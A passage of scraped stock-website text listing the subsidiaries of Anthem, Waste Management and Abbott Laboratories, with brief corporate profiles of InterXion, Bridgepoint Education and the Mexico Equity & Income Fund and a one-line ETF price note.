Colorado Inc., HMO Missouri Inc., Health Core Inc., Health Management Corporation, Health Ventures Partner L.L.C., HealthKeepers Inc., HealthLink HMO Inc., HealthLink Inc., HealthLink Insurance Company, HealthPlus HP LLC, HealthSun Health Plans, HealthSun Health Plans Inc., HealthSun Holdings LLC, HealthSun Management LLC, HealthSun Physicians Network I LLC, HealthSun Physicians Network LLC, Healthy Alliance Life Insurance Company, Highland Acquisition Holdings LLC, Highland Holdco Inc., Highland Intermediate Holdings LLC, Highland Investor Holdings LLC, Imaging Management Holdings LLC, IngenioRx Inc., Legato Health Technologies LLP, Legato Health Technologies Philippines Inc., Legato Holdings I Inc., Legato Holdings II LLC, Living Complete Technologies Inc., Matthew Thornton Health Plan Inc., Memphis Supportive Care Partnership LLC, Meridian Resource Company LLC, Missouri Care Incorporated, NGS Federal LLC, Nash Holding Company LLC, National Government Services Inc., New England Research Institutes Inc., Optimum Healthcare Inc., Park Square Holdings Inc., Park Square I Inc., Park Square II Inc., Pasteur Medical Bird Road LLC, Pasteur Medical Center LLC, Pasteur Medical Cutler Bay LLC, Pasteur Medical Group LLC, Pasteur Medical Hialeah Gardens LLC, Pasteur Medical Holdings LLC, Pasteur Medical Kendall LLC, Pasteur Medical Management LLC, Pasteur Medical Miami Gardens LLC, Pasteur Medical North Miami Beach LLC, Pasteur Medical Partners LLC, Resolution Health Inc, Resolution Health Inc., RightCHOICE Managed Care Inc., Rocky Mountain Hospital and Medical Service Inc., SellCore Inc., Simply Healthcare Holdings, Simply Healthcare Plans Inc., Southeast Services Inc., State Sponsored DM Services Inc., The Anthem Companies Inc., The Anthem Companies of California Inc., TrustSolutions LLC, UNICARE Health Plan of West Virginia Inc., UNICARE Illinois Services Inc., UNICARE National Services Inc., UniCare Life & Health Insurance Company, UniCare Specialty Services Inc., Valus Inc., WPMI LLC, WellCare of Nebraska Inc., WellPoint Acquisition LLC, WellPoint California Services Inc., WellPoint Dental Services Inc., WellPoint Health Solutions Inc., WellPoint Holding Corp., WellPoint Information Technology Services Inc., WellPoint Insurance Services Inc., WellPoint Military Care Corporation, Wellmax Health Medical Centers LLC, Wellmax Health Physicians Network LLC, and Wisconsin Collaborative Insurance Company. InterXion Holding N.V. provides carrier and cloud-neutral colocation data center services in France, Germany, the Netherlands, the United Kingdom, Austria, Belgium, Denmark, Ireland, Spain, Sweden, and Switzerland. The company enables its customers to connect to a range of telecommunications carriers, cloud platforms, Internet service providers, and other customers. Its data centers acts as content, cloud, and connectivity hubs that facilitate the processing, storage, sharing, and distribution of data between its customers. The company offers colocation services, including space and power to deploy IT infrastructure in its data centers; a range of output voltages and currents; connectivity services that enable its customers to connect their IT infrastructure to exchange traffic and access cloud platforms; and systems monitoring, systems management, engineering support, and data backup and storage services, as well as installs and manages physical connections running from its customers' equipment to the equipment of its telecommunications carriers, Internet service providers, Internet exchange customers, and other customers. It provides its services to telecom operators, Internet service providers, and content delivery networks; content and cloud providers; and enterprises through direct sales forces, as well as through tradeshows, networking events, and industry seminars. As of December 31, 2018, it operated 51 carrier and cloud neutral colocation data centers in 13 metropolitan areas in 11 countries. The company is also involved in real estate management/holding businesses. InterXion Holding N.V. was incorporated in 1998 and is headquartered in Hoofddorp, the Netherlands. Read More Bridgepoint Education, Inc., together with its subsidiaries, provides postsecondary education services in the United States. Its academic institutions, Ashford University and University of the Rockies, offer associate's, bachelor's, master's, and doctoral degree programs in the disciplines of business, education, psychology, social sciences, and health sciences. The company offers its programs primarily through online; and at its campuses. As of December 31, 2017, its institutions offered approximately 1,200 courses and 80 degree programs; and had 45,730 students enrolled. The company was formerly known as TeleUniversity, Inc. and changed its name to Bridgepoint Education, Inc. in February 2004. Bridgepoint Education, Inc. was founded in 1999 and is headquartered in San Diego, California. Read More Mexico Equity & Income Fund Inc. is a closed ended balanced mutual fund launched and managed by Pichardo Asset Management, S.A. de C.V. The fund invests in the fixed income and public equity markets of Mexico. It also invests some portion in the convertible securities. The fund invests in the stocks of companies operating across diversified sectors. It benchmarks the performance of its portfolio against the Mexbol and MSCI Mexico Index. Mexico Equity & Income Fund Inc. was formed on May 24, 1990 and is domiciled in the United States. Read More The following companies are subsidiares of Waste Management: 635952 Ontario Inc., 8242348 Canada Inc., Acaverde S.A. de C.V., Access Computer Products, Advanced Environmental Technical Services L.L.C., Akron Regional Landfill Inc., Alliance Sanitary Landfill Inc., Alpharetta Transfer Station LLC, American Landfill Inc., American Oil Recovery LLC, Ameriwaste LLC, Anderson Landfill Inc., Anderson Rubbish Disposal, Antelope Valley Recycling and Disposal Facility Inc., Arden Landfill Inc., Atlantic Waste Disposal Inc., Automated Salvage Transport Co. L.L.C., Avalon South LLC, Azusa Land Reclamation Inc., B&B Landfill Inc., Big Dipper Enterprises Inc., Bluegrass Containment L.L.C., Burnsville Sanitary Landfill Inc., CA Newco L.L.C., CR Group LLC, CWM Chemical Services L.L.C., Cal Sierra Disposal, California Asbestos Monofill Inc., Canadian Waste Services Holdings Inc., Capels Landfill LLC, Capital Sanitation Company, Capitol Disposal Inc., Carolina Grading Inc., Cedar Ridge Landfill Inc., Central Disposal Systems Inc., Chadwick Road Landfill Inc., Chambers Clearview Environmental Landfill Inc., Chambers Development Company Inc., Chambers Development of Ohio Inc., Chambers of Georgia Inc., Chambers of Mississippi Inc., Chemical Waste Management Inc., Chemical Waste Management of Indiana L.L.C., Chemical Waste Management of the Northwest Inc., Chesser Island Road Landfill Inc., City Environmental Services Inc. of Waters, Cleburne Landfill Company Corp., Coast Waste Management Inc., Coastal Recyclers Landfill LLC, Connecticut Valley Sanitary Waste Disposal Inc., Conservation Services Inc., Coshocton Landfill Inc., Cougar Landfill Inc., Countryside Landfill Inc., Curtis Creek Recovery Systems Inc., Cuyahoga Landfill Inc., DHC Land LLC, Dafter Sanitary Landfill Inc., Dauphin Meadows Inc., Deep Valley Landfill Inc., Deer Track Park Landfill Inc., Deffenbaugh Disposal Inc., Deffenbaugh Group Holdings Inc., Deffenbaugh Industries Inc., Deffenbaugh Recycling Company L.L.C., Deffenbaugh of Arkansas LLC, Del Almo Landfill L.L.C., Delaware Recyclable Products Inc., Dickinson Landfill Inc., Disposal Service Incorporated, Dolphin Services & Chemicals LLC, Dolphin-One LLC, ELDA Landfill Inc., Earthmovers Landfill L.L.C., East Liverpool Landfill Inc., Eastern One Land Corporation, Eco-Vista LLC, Elk River Landfill Inc., Energy Injection Services of Mississippi LLC, EnviroSolutions Dulles LLC, EnviroSolutions Holdings Inc., EnviroSolutions Real Property Holdings Inc., Envirofil of Illinois Inc., Evergreen Landfill Inc., Evergreen Recycling and Disposal Facility Inc., Finch Waste Co LLC, Firetower Landfill LLC, Fred J. Eckert Sanitary Service Inc., Furnace Associates Inc., G.I. Industries, GA Landfills Inc., Gallia Landfill Inc., Garnet of Maryland Inc., Gateway Transfer Station LLC, Georgia Waste Systems Inc., Giordano Recycling L.L.C., Glades Landfill LLC, Glen's Sanitary Landfill Inc., Grand Central Sanitary Landfill Inc., Greenbow LLC, Greenleaf Compaction Inc., Greenstar Allentown LLC, Greenstar Georgia LLC, Greenstar LLC, Greenstar Managed Services - Connecticut LLC, Greenstar Managed Services - RLWM LLC, Greenstar Mid-America LLC, Greenstar New Jersey LLC, Greenstar Ohio LLC, Greenstar Paterson LLC, Greenstar Pittsburgh LLC, Greenstar Recycled Holdings LLC, Greenstar Recycling LLC, Guadalupe Mines Mutual Water Company, Guadalupe Rubbish Disposal Co. Inc., Ham Lake Haulers Inc., Harris Sanitation Inc., Harwood Landfill Inc., Hedco Landfill Limited, High Mountain Fuels LLC, Hillsboro Landfill Inc., Holyoke Sanitary Landfill Inc., IN Landfills L.L.C., Illini Disposal, International Environmental Management Inc., Jahner Sanitation Inc., Jay County Landfill L.L.C., K and W Landfill Inc., Keene Road Landfill Inc., Kelly Run Sanitation Inc., King George Landfill Inc., King George Landfill Properties LLC, Kirby Canyon Holdings LLC, L&K Group Holdings LLC, LCS Services Inc., Lakeville Recycling L.P., Land South Holdings LLC, Landfill Services of Charleston Inc., Laurel Highlands Landfill Inc., Liberty Landfill L.L.C., Liquid Logistics, Liquid Waste Management Inc., Longleaf C&D Disposal Facility Inc., Looney Bins Inc., Mac Land Disposal Inc. II, Mahoning Landfill Inc., Mass Gravel Inc., Mc Ginnes Industrial Maintenance Corporation, McDaniel Landfill Inc., McGill Landfill Inc., Meadowfill Landfill Inc., Michigan Environs Inc., Midwest One Land Corporation, Modesto Garbage Co. Inc., Moor Refuse Inc., Mordell, Mountain Indemnity Insurance Company, Mountainview Landfill Inc., Nassau Landfill L.L.C., National Guaranty Insurance Company of Vermont, New England CR L.L.C., New Milford Landfill L.L.C., New Orleans Landfill L.L.C., North Manatee Recycling and Disposal Facility L.L.C., Northwestern Landfill Inc., Nu-Way Live Oak Reclamation Inc., OAKLEAF Waste Management LLC, OGH Acquisition Corporation, Oak Grove Disposal Co. Inc., Oakleaf Global Holdings Inc., Oakleaf Waste Management Inc., Oakridge Landfill Inc., Oakwood Landfill Inc., Okeechobee Landfill Inc., Ozark Ridge Landfill Inc., P & R Environmental Industries L.L.C., Pacific Waste Management L.L.C., Pappy Inc., Peltz H.C. LLC, Pen-Rob Inc., People's Landfill Inc., Peterson Demolition Inc., Phoenix Resources Inc., Pine Grove Landfill Inc., Pine Tree Acres Inc., Prime Westport LLC, Quail Hollow Landfill Inc., Questquill Limited, R & B Landfill Inc., RAA Colorado L.L.C., RAA Trucking LLC, RCI Hudson Inc., RTS Landfill Inc., Recycle America Co. L.L.C., Recycle America Holdings Inc., Redwood Landfill Inc., Refuse Inc., Refuse Services Inc., Reliable Environmental Transport, Reliable Landfill L.L.C., Remote Landfill Services Inc., Reno Disposal Co., Resco Holdings L.L.C., Resource Control Composting Inc., Resource Control Inc., Richland County Landfill Inc., Riverbend Landfill Co., Rust Engineering & Construction Inc., Rust International Inc., S & J Landfill Limited Partnership, S & S Grading Inc., S&T Materials LLC, SC Holdings Inc., SF Land Acquisition LLC, Sanifill de Mexico (US) Inc., Sanifill de Mexico S.A. de C.V., Shade Landfill Inc., Shawnee Rock Company, Sierra Estrella Landfill Inc., Southern Alleghenies Landfill Inc., Southern One Land Corporation, Southern Waste Services L.L.C., Spruce Ridge Inc., Stony Hollow Landfill Inc., Suburban Landfill Inc., Summit Energy Services Inc, Swire Waste Management Limited, TN'T Sands Inc., TX Newco L.L.C., Texarkana Landfill L.L.C., Texas Pack Rat - Austin #1 LLC, Texas Pack Rat - Dallas #1 LLC, Texas Pack Rat - Houston #1 LLC, Texas Pack Rat - Houston #2 LLC, Texas Pack Rat - Houston #3 LLC, Texas Pack Rat - San Antonio #1 LLC, Texas Pack Rat Service Company LLC, The Peltz Group LLC, The Waste Management Charitable Foundation, The Woodlands of Van Buren Inc., Thermal Remediation Solutions L.L.C., Trail Ridge Landfill Inc., TransAmerican Waste Industries, Transamerican Waste Central Landfill Inc., Trash Hunters Inc., Twin Bridges Golf Club L.P., USA South Hills Landfill Inc., USA Valley Facility Inc., USA Waste Geneva Landfill Inc., USA Waste Landfill Operations and Transfer Inc., USA Waste Services of NYC Inc., USA Waste of California Inc., USA Waste of Texas Landfills Inc., USA Waste of Virginia Landfills Inc., USA Waste-Management Resources LLC, USA-Crinc L.L.C., USB LIHTC Fund 2010-1 LLC, UWS Barre Inc., United Waste Systems Leasing Inc., Valley Garbage and Rubbish Company Inc., Vern's Refuse Service Inc., Vickery Environmental Inc., Vista Landfill LLC, Voyageur Disposal Processing Inc., WM Avon Inc., WM Bagco LLC, WM Billerica Inc., WM Biloxi Hauling LLC, WM Biloxi Transfer Station LLC, WM Boston CORE Inc., WM CCP Solutions LLC, WM Conversion Fund LLC, WM Corporate Services Inc., WM Curbside LLC, WM DC 1 LLC, WM Emergency Employee Support Fund Inc., WM Energy Resources Inc., WM Energy Services Holdings LLC, WM Energy Services of Ohio LLC, WM Energy Solutions Inc., WM GTL Inc., WM GTL JV Holdings LLC, WM GTL LLC, WM Green Squad LLC, WM GreenOps LLC, WM Healthcare Solutions Inc., WM Illinois Renewable Energy L.L.C., WM Intellectual Property Holdings L.L.C., WM International Holdings Inc., WM KS Energy Resources LLC, WM LNG Inc., WM LampTracker Inc., WM Landfills of Ohio Inc., WM Landfills of Tennessee Inc., WM Leasing Services of Texas LLC, WM Leasing of Arizona L.L.C., WM Leasing of Texas L.P., WM Logistics India Private Limited, WM Logistics LLC, WM Mercury Waste Inc., WM Middle Tennessee Environmental Center L.L.C., WM Mobile Bay Environmental Center Inc., WM ND Energy Resources II LLC, WM ND Energy Resources LLC, WM Nevada Renewable Energy L.L.C., WM North Broward Inc., WM Organic Growth Inc., WM PA Holdings LLC, WM PRG L.L.C., WM Pack-Rat LLC, WM Pack-Rat of California LLC, WM Pack-Rat of Illinois LLC, WM Pack-Rat of Kentucky LLC, WM Pack-Rat of Maryland LLC, WM Pack-Rat of Massachusetts LLC, WM Pack-Rat of Michigan LLC, WM Pack-Rat of Nevada LLC, WM Pack-Rat of Ohio LLC, WM Pack-Rat of Rhode Island LLC, WM Partnership Holdings Inc., WM Phoenix Energy Resources LLC, WM Propane LLC, WM Quebec Inc., WM RA Canada Inc., WM Recycle America L.L.C., WM Recycle Europe L.L.C., WM Recycling Latin America LLC, WM Refined Coal LLC, WM Renewable Energy L.L.C., WM Resource Recovery & Recycling Center Inc., WM Resources Inc., WM Safety Services L.L.C., WM Security Services Inc., WM Storage II Inc., WM Storage Inc., WM TX Energy Resources II LLC, WM TX Energy Resources LLC, WM Texas Pack Rat LLC, WM Trash Monitor Plus L.L.C., WM WY Energy Resources II LLC, WM WY Energy Resources III LLC, WM WY Energy Resources LLC, WM of North Dakota Energy Disposal Solutions LLC, WMI Mexico Holdings Inc., WMNA Container Recycling L.L.C., WMRE of Kentucky LLC, WMRE of Michigan LLC, WMRE of Ohio LLC, WMRE of Ohio-American LLC, WMSALSA Inc., WTI Air Pollution Control Inc., WTI Rust Holdings Inc., Warner Company, Waste Away Group Inc., Waste Management Arizona Landfills Inc., Waste Management Buckeye L.L.C., Waste Management China Holdings Limited, Waste Management Collection and Recycling Inc., Waste Management Disposal Services of Colorado Inc., Waste Management Disposal Services of Maine Inc., Waste Management Disposal Services of Maryland Inc., Waste Management Disposal Services of Massachusetts Inc., Waste Management Disposal Services of Oregon Inc., Waste Management Disposal Services of Pennsylvania Inc., Waste Management Disposal Services of Virginia Inc., Waste Management Energy Services of Texas LLC, Waste Management Holdings Inc., Waste Management Inc. of Florida, Waste Management Inc. of Tennessee, Waste Management Indycoke L.L.C., Waste Management International Inc., Waste Management National Services Inc., Waste Management National Transportation Services Inc., Waste Management Partners Inc., Waste Management Recycling and Disposal Services of California Inc., Waste Management Recycling of New Jersey L.L.C., Waste Management Service Center Inc., Waste Management of Alameda County Inc., Waste Management of Alaska Inc., Waste Management of Arizona Inc., Waste Management of Arkansas Inc., Waste Management of California Inc., Waste Management of Canada Corporation, Waste Management of Carolinas Inc., Waste Management of Colorado Inc., Waste Management of Connecticut Inc., Waste Management of Delaware Inc., Waste Management of Fairless L.L.C., Waste Management of Five Oaks Recycling and Disposal Facility Inc., Waste Management of Georgia Inc., Waste Management of Hawaii Inc., Waste Management of Idaho Inc., Waste Management of Illinois Inc., Waste Management of Indiana Holdings One Inc., Waste Management of Indiana Holdings Two Inc., Waste Management of Indiana L.L.C., Waste Management of Iowa Inc., Waste Management of Kansas Inc., Waste Management of Kentucky Holdings Inc., Waste Management of Kentucky L.L.C., Waste Management of Leon County Inc., Waste Management of Londonderry Inc., Waste Management of Louisiana Holdings One Inc., Waste Management of Louisiana L.L.C., Waste Management of Maine Inc., Waste Management of Maryland Inc., Waste Management of Massachusetts Inc., Waste Management of Metro Atlanta Inc., Waste Management of Michigan Inc., Waste Management of Minnesota Inc., Waste Management of Mississippi Inc., Waste Management of Missouri Inc., Waste Management of Montana Inc., Waste Management of Nebraska Inc., Waste Management of Nevada Inc., Waste Management of New Hampshire Inc., Waste Management of New Jersey Inc., Waste Management of New Mexico Inc., Waste Management of New York L.L.C., Waste Management of North Dakota Inc., Waste Management of Ohio Inc., Waste Management of Oklahoma Inc., Waste Management of Oregon Inc., Waste Management of Pennsylvania Gas Recovery L.L.C., Waste Management of Pennsylvania Inc., Waste Management of Rhode Island Inc., Waste Management of South Carolina Inc., Waste Management of South Dakota Inc., Waste Management of Texas Holdings Inc., Waste Management of Texas Inc., Waste Management of Tunica Landfill Inc., Waste Management of Utah Inc., Waste Management of Virginia Inc., Waste Management of Washington, Waste Management of West Virginia Inc., Waste Management of Wisconsin Inc., Waste Management of Wyoming Inc., Western One Land Corporation, Western Waste Industries, Western Waste of Texas L.L.C., Westminster Land Acquisition LLC, Wheelabrator Technologies, Wheelabrator Technologies International Inc., White Lake Landfill Inc., Willow Oak Landfill LLC, and eCycling Services L.L.C.. Invesco MSCI Global Timber ETF's stock was trading at $22.09 on March 11th, 2020 when Coronavirus reached pandemic status according to the World Health Organization (WHO). Since then, CUT shares have increased by 64.7% and is now trading at $36.38. View which stocks have been most impacted by COVID-19. The following companies are subsidiares of Abbott Laboratories: 3A Nutrition (Vietnam) Company Limited, ABON Biopharm (Hangzhou) Co. Ltd., AGA Medical Belgium, AGA Medical Corporation, AGA Medical Holdings Inc., ALR Holdings, AML Medical LLC, APK Advanced Medical Technologies LLC, ATS Bermuda Holdings Limited, ATS Laboratories Inc., Abbott, Abbott (Jiaxing) Nutrition Co. Ltd., Abbott (UK) Finance Limited, Abbott (UK) Holdings Limited, Abbott AG, Abbott Asia Holdings Limited, Abbott Asia Investments Limited, Abbott Australasia Holdings Limited, Abbott Australasia Pty Ltd, Abbott B.V., Abbott Bahamas Overseas Businesses Corporation, Abbott Belgian Investments, Abbott Bermuda Holding Ltd., Abbott Biologicals B.V., Abbott Biologicals LLC, Abbott Bulgaria Luxembourg S.a r.l., Abbott Capital India Limited, Abbott Cardiovascular Inc., Abbott Cardiovascular Systems Inc., Abbott Delaware LLC, Abbott Diabetes Care Inc., Abbott Diabetes Care Limited, Abbott Diabetes Care Sales Corporation, Abbott Diagnostics GmbH, Abbott Diagnostics International Ltd., Abbott Diagnostics Technologies AS, Abbott Doral Investments S.L., Abbott Equity Holdings Unlimited, Abbott Equity Investments LLC, Abbott Established Products Holdings (Gibraltar) Limited, Abbott Finance Company SA, Abbott Financial Holdings SRL, Abbott France S.A.S., Abbott Fund Tanzania Limited, Abbott Gesellschaft m.b.H., Abbott GmbH & Co. KG, Abbott Health Products LLC, Abbott Healthcare (Puerto Rico) Ltd., Abbott Healthcare B.V., Abbott Healthcare Costa Rica S.A., Abbott Healthcare LLC, Abbott Healthcare Luxembourg S.a r.l., Abbott Healthcare Private Limited, Abbott Healthcare Products B.V., Abbott Healthcare Products Ltd, Abbott Holding (Gibraltar) Limited, Abbott Holding GmbH, Abbott Holding Subsidiary (Gibraltar) Limited, Abbott Holding Subsidiary (Gibraltar) Limited Luxembourg S.C.S., Abbott Holdings B.V., Abbott Holdings LLC, Abbott Holdings Limited, Abbott Holdings Poland Spoka z ograniczona odpowiedzialnoscia, Abbott Hungary Korlatolt Felelossegu Tarsasag, Abbott Iberian Investments (2) Limited, Abbott Iberian Investments Limited, Abbott India Limited, Abbott Informatics Asia Pacific Limited, Abbott Informatics Canada Inc, Abbott Informatics Corporation, Abbott Informatics Europe Limited, Abbott Informatics France, Abbott Informatics Germany GmbH, Abbott Informatics Netherlands B.V., Abbott Informatics Singapore Pte. Limited, Abbott Informatics Spain S.A., Abbott Informatics Technologies Ltd, Abbott International Corporation, Abbott International Enterprises Ltd., Abbott International Holdings Limited, Abbott International LLC, Abbott International Luxembourg S.ar.l., Abbott Investments Luxembourg S.a r.l., Abbott Ireland, Abbott Ireland Financing Designated Activity Company, Abbott Ireland Limited, Abbott Japan Co. Ltd., Abbott Kazakhstan Limited Liability Partnership, Abbott Knoll Investments B.V., Abbott Korea Limited, Abbott Laboratories (Bangladesh) Limited, Abbott Laboratories (Chile) Holdco (Dos) SpA, Abbott Laboratories (Chile) Holdco SpA, Abbott Laboratories (Malaysia) Sdn. Bhd., Abbott Laboratories (Mozambique) Limitada, Abbott Laboratories (Pakistan) Limited, Abbott Laboratories (Philippines), Abbott Laboratories (Puerto Rico) Incorporated, Abbott Laboratories (Singapore) Private Limited, Abbott Laboratories A/S, Abbott Laboratories Argentina Sociedad Anonima, Abbott Laboratories B.V., Abbott Laboratories C.A., Abbott Laboratories Finance B.V., Abbott Laboratories GmbH, Abbott Laboratories Inc., Abbott Laboratories International LLC, Abbott Laboratories Ireland Limited, Abbott Laboratories Limited, Abbott Laboratories Limited - Laboratoires Abbott Limitee, Abbott Laboratories NZ Limited, Abbott Laboratories Pacific Ltd., Abbott Laboratories Poland Spoka z ograniczona odpowiedzialnoscia, Abbott Laboratories Products B.V., Abbott Laboratories Residential Development Fund Inc., Abbott Laboratories S.A., Abbott Laboratories SA, Abbott Laboratories Services Corp., Abbott Laboratories Slovakia s.r.o., Abbott Laboratories South Africa (Pty) Ltd., Abbott Laboratories Trading (Shanghai) Co. Ltd., Abbott Laboratories Trustee Company Limited, Abbott Laboratories Uruguay S.A., Abbott Laboratories Vascular Enterprises, Abbott Laboratories d.o.o., Abbott Laboratories de Chile Limitada, Abbott Laboratories de Colombia S.A., Abbott Laboratories de Mexico S.A. de C.V., Abbott Laboratories druzba za farmacijo in diagnostiko d.o.o., Abbott Laboratories s.r.o., Abbott Laboratories(Hellas) Societe Anonyme, Abbott Laboratorios S.A., Abbott Laboratorios S.A., Abbott Laboratorios del Ecuador Cia. Ltda., Abbott Laboratuarlari Ithalat Ihracat ve Ticaret Ltd.Sti, Abbott Laboratorios Lda, Abbott Laboratorios do Brasil Ltda., Abbott Limited Egypt LLC, Abbott Logistics B.V., Abbott Management GmbH, Abbott Management LLC, Abbott Manufacturing Singapore Private Limited, Abbott Mature Products International Unlimited Company, Abbott Mature Products Management Limited, Abbott Medical (Hong Kong) Limited, Abbott Medical (Malaysia) Sdn. Bhd., Abbott Medical (Portugal) Distribuicao de Produtos Medicos Lda, Abbott Medical (Schweiz) AG, Abbott Medical (Shanghai) Co. Ltd., Abbott Medical (Singapore) Pte. Ltd., Abbott Medical (Thailand) Co. Ltd., Abbott Medical Australia Pty. Ltd., Abbott Medical Austria Ges.m.b.H., Abbott Medical Balkan d.o.o. Beograd (Novi Beograd), Abbott Medical Belgium, Abbott Medical Canada Inc./ Medicale Abbott Canada Inc., Abbott Medical Danmark A/S, Abbott Medical Devices Trading (Shanghai) Co. Ltd., Abbott Medical Espana S.A., Abbott Medical Estonia OU, Abbott Medical Finland Oy, Abbott Medical France SAS, Abbott Medical GmbH, Abbott Medical Hellas Limited Liability Trading Company, Abbott Medical Ireland Limited, Abbott Medical Italia S.p.A., Abbott Medical Japan Co. Ltd., Abbott Medical Korea Limited, Abbott Medical Korlatolt Felelossegu Tarsasag, Abbott Medical Laboratories LTD, Abbott Medical Nederland B.V., Abbott Medical New Zealand Limited, Abbott Medical Norway AS, Abbott Medical Overseas Cyprus Limited, Abbott Medical Sweden AB, Abbott Medical Taiwan Co., Abbott Medical U.K. Limited, Abbott Medical spoka z ograniczona odpowiedzialnoscia, Abbott Middle East S.A.R.L., Abbott Molecular Inc., Abbott Morocco SARL, Abbott Nederland C.V., Abbott Nederland Luxembourg S.a r.l., Abbott Netherlands Investments B.V., Abbott Norge AS, Abbott Nutrition Limited, Abbott Nutrition Manufacturing Inc., Abbott Operations Singapore Pte. Ltd., Abbott Operations Uruguay S.R.L., Abbott Overseas Cyprus Limited, Abbott Overseas Luxembourg S.a r.l., Abbott Overseas S.A., Abbott Oy, Abbott Point of Care Canada Limited, Abbott Point of Care Inc., Abbott Poland Luxembourg S.a r.l., Abbott Procurement LLC, Abbott Products (Philippines) Inc., Abbott Products (Spain) S.L., Abbott Products Algerie EURL, Abbott Products B.V., Abbott Products Distribution SAS, Abbott Products Egypt LLC, Abbott Products Limited, Abbott Products Limited Liability Company, Abbott Products Luxembourg S.a r.l., Abbott Products Operations AG, Abbott Products Operations LLC, Abbott Products Romania S.R.L., Abbott Products Tunisie S.A.R.L., Abbott Products Unlimited Company, Abbott Resources Inc., Abbott Resources International Inc., Abbott S.r.l., Abbott Saudi Arabia Trading Company, Abbott Scandinavia Aktiebolag, Abbott Sociedad Anonima de Capital Variable, Abbott South Africa Luxembourg S.a r.l., Abbott Strategic Opportunities Limited, Abbott Trading Company Inc., Abbott Universal LLC, Abbott Vascular Devices (2) Limited, Abbott Vascular Devices Limited, Abbott Vascular Inc., Abbott Vascular Instruments Deutschland GmbH, Abbott Vascular International, Abbott Vascular Japan Co. Ltd, Abbott Vascular Limitada, Abbott Vascular Netherlands B.V., Abbott Vascular Solutions Inc., Abbott Ventures Inc., Abbott West Indies Limited, Abbott drustvo sa ogranicenom odgovornoscu za trgovinu i usluge, Advanced Neuromodulation Systems Inc., Alere, Alere (Shanghai) Diagnostics Co. Ltd., Alere (Shanghai) Healthcare Management Co. Ltd., Alere (Shanghai) Medical Sales Co. Ltd., Alere (Shanghai) Technology Co. Ltd., Alere A/S, Alere AB, Alere AS, Alere AS Holdings Limited, Alere BBI Holdings Limited, Alere Bangladesh Limited, Alere China Co. Ltd., Alere Colombia S.A., Alere Connect LLC, Alere Connected Health Limited, Alere Connected Health Ltd., Alere Diagnostics GmbH, Alere DoA Holding GmbH, Alere GmbH, Alere GmbH (Austria), Alere GmbH (Germany), Alere HK Holdings Ltd., Alere Health B.V., Alere Health BVBA, Alere Health Corp., Alere Health Sdn Bhd, Alere Health Services B.V., Alere Healthcare (Pty) Limited, Alere Healthcare Connections Limited, Alere Healthcare Inc., Alere Healthcare Nigeria Limited, Alere Healthcare S.L., Alere Holdco Inc., Alere Holding GmbH, Alere Holdings Bermuda Limited, Alere Holdings Pty Limited, Alere Home Monitoring Inc., Alere Inc., Alere Informatics Inc., Alere International Holding Corp., Alere International Limited, Alere Lda, Alere Limited, Alere Limited (New Zealand), Alere Medical BVBA, Alere Medical Co. Ltd., Alere Medical Pakistan (Private) Limited, Alere Medical Private Limited, Alere North America LLC, Alere Oy Ab, Alere Philippines Inc., Alere Phoenix ACQ Inc., Alere Pte Ltd, Alere S.A., Alere S.r.l., Alere S/A, Alere SAS, Alere San Diego Inc., Alere Scarborough Inc., Alere Spain S.L., Alere Switzerland GmbH, Alere Technologies GmbH, Alere Technologies Holdings Limited, Alere Technologies Limited, Alere Toxicology AB, Alere Toxicology Inc., Alere Toxicology S.r.l., Alere Toxicology Services Inc., Alere Toxicology plc, Alere UK Holdings Limited, Alere UK Subco Limited, Alere ULC, Alere US Holdings LLC, Alere s.r.o., Alisoc Investment & Co, Amedica Biotech Inc., Ameditech Inc., American Generics S.A.S., American Medical Supplies Inc., American Pharmacist Inc., Antares S.A., Apica Cardiovascular Limited, Aquagestion Capacitacion S.A., Aquagestion S.A., Arriva Medical LLC, Arriva Medical Philippines Inc., Arvis Investments Limited, Atlas Farmaceutica S.A., Avee Laboratories Inc., Axis-Shield AD III AS, Axis-Shield AD IV AS, Axis-Shield AS, Axis-Shield Diagnostics Limited, Axis-Shield Ltd., BBI Animal Health Limited, BBI Diagnostics Group 2 Public Limited Company, Banco de Vida S.A., Bioabsorbable Vascular Solutions Inc., Bioalgae S.A., Biohealth LLC, Biosite Incorporated, Bosque Bonito S.A., Branan Medical Corporation, Brandex Europe C.V., British Colloids Limited, CFR Chile S.A., CFR Interamericas EL Salvador Sociedad Anonima de Capital Variable, CFR Interamericas Nicaragua Sociedad Anonima, CFR Interamericas Panama S.A., CFR Pharmaceuticals, California Property Holdings III LLC, CardioMEMS LLC, Caripharm Inc., Cephea Valve Technologies, Cephea Valve Technologies Inc., Colibri Medical Aktiebolag, Comercializadora y Distribuidora CFR Interamericas Honduras S.A., Concateno South Limited, Concateno UK Limited, Consorcio Tecnologico en Biomedicina Clinico-Molecular S.A., Continuum Services LLC, Cozart Limited, Dextech S.A., Diagnostik Nord GmbH, Distribuciones Uquifa S.A.S., Domesco Medical Import-Export Joint-Stock Corporation, Duphar International Research B.V., Endocardial Solutions, Epocal (US) Inc, Esprit de Vie S.A., European Chemicals & Co, European Drug Testing Service EDTS AB, European Services S.A., Evalve Inc., Evalve International Inc., FARMINDUSTRIA S.A., Fada Pharma Paraguay Sociedad Anonima, Fadapharma del Ecuador S.A., Farmaceutica Mont Blanc S.L., Farmacologia Em Aquicultura Veterinaria Ltda., Farmacologia en Aquacultura Veterinaria FAV Ecuador S.A., Farmacologia en Aquacultura Veterinaria FAV S.A., Fernwood Investment S.A., First Check Diagnostics LLC, Focus Pharmaceutical S.A.S., Forensics Limited, Forestcreek Overseas S.A., Fournier Pharma Corp., Fournier Pharma GmbH, Fournier Pharmaceuticals Limited, Framed B.V., Gabmed GmbH, Garden Hills LLC, Global Analytical Development LLC, Globapharm & CO LP, Glomed Pharmaceutical Company Limited, Golnorth Investments S.A., Gynocare Limited, Gynopharm Sociedad Anonima, Gynopharm de Centroamerica S.A., Gynopharm de Venezuela C.A., Hi-Tronics Designs Inc., IDEV Technologies Inc., IG Innovations Limited, IMTC Finance B.V., IMTC Holdings B.V., IMTC Technologies Inc., Ibis Biosciences LLC, Igloo Zone Chile S.A., Igloo Zone S.L., Inmobiliaria Naknek S.A.C., Innovacon Inc., Instant Tech Subsidiary Acquisition Inc., Instant Technologies Inc., Instituto de Criopreservacion de Chile S.A., Integrated Vascular Systems Inc., Inverness Canadian Acquisition Corporation, Inverness Medical (Beijing) Co. Ltd., Inverness Medical Innovations Australia Pty Ltd., Inverness Medical Innovations Hong Kong Limited, Inverness Medical Innovations SK LLC, Inverness Medical Investments LLC, Inverness Medical LLC, Inverness Medical Shimla Private Limited, Inversiones K2 SpA, Inversiones Komodo S.R.L., 